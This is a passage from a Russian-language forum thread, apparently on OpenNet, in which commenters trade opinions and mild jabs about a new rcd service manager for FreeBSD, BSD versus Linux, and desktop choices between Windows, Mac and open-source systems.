начал городить свой велосипед. BSD для этого подошла, чтобы игры на Playstation 5 запускать. С линукс у них связь по портированию того что очень хочется иметь. И GCC хотелось, но откат на много лет из-за лицензии и отсутствия компилятора ударил по BSD очень сильно и потому OpenIndiana тоже перескочили, но на GCC. Ничего не помешало, значит проблемы BSD были надуманные. Вот так правда оказывается всегда сильнее. Молиться на BSD совершенно необязательно, если железо не поддерживается. FreeBSD никогда не была лидером. Просто кому-то нравилось с ней возиться, потому что начинали с нее и линукс не понимали. Неосиляторов много. Кому-то хочется выделиться. Практической пользы могло не быть вовсе.
	Ответить | Правка | Наверх | Cообщить модератору

327. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Укропатолог (?), 12-Сен-26, 14:15
И сюда вайбкодеры добрались со своим оверинжинирингом. Вся надежда на openbsd теперь.
Ответить | Правка | Наверх | Cообщить модератору

	337. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (337), 12-Сен-26, 15:54
	> И сюда вайбкодеры добрались со своим оверинжинирингом. Куда это "сюда"? UCL во фре уже больше десяти лет используется - в той же pkg.conf pkg кстати уже лет 14 как есть, с "оверинжинирнутой" sqlite базой, вместо простых и понятных текстовых файлов, которых дидам за глаза хватало 🙄 > Вся надежда на openbsd теперь. Чей-то (возможно, опыт торчания на опеннете) подсказывает, что самые активные местные "надеждальщики" и знатоки, "как нужно правильно" предпочитают надеятся и раздовать ценные указания из под макоси/венды ...
	Ответить | Правка | Наверх | Cообщить модератору

	339. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Укропатолог (?), 12-Сен-26, 16:09
	> раздовать ценные указания из под макоси/венды Так всё верно. Адекватный человек на десктопе будет сидеть на винде или на маке, а все эти линуксы и бзди только по ssh для работы.
	Ответить | Правка | Наверх | Cообщить модератору

	348. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (337), 12-Сен-26, 17:04
	>> раздовать ценные указания из под макоси/венды > Так всё верно. > Адекватный человек на десктопе будет сидеть на винде или на маке И вещать про "оверинжиниринг" запускали сервисов бзд ... "И вот так у вас - все!"© И чего так скромно? В другой теме (только что наткнулся) > Сообщение от <mat3 ban> (?), 12-Сен-26, 16:17 > Открываю gimp на маке - всё красиво. Вишь, как я угадал.
	Ответить | Правка | Наверх | Cообщить модератору

	350. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Укропатолог (?), 12-Сен-26, 17:25
	Так всё верно, работать приходится с разным железом, но для себя предпочитаю мак, ибо могу позволить.
	Ответить | Правка | Наверх | Cообщить модератору

	354. Скрыто модератором	+/–
	Сообщение от Аноним (337), 12-Сен-26, 20:32
	> но для себя предпочитаю мак, ибо могу позволить. Н-да. Ладно бы "потому что удобно", но как символ достатка и успеха ... надеюсь и чешский хрусталь в румынской стенке есть? 😀
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема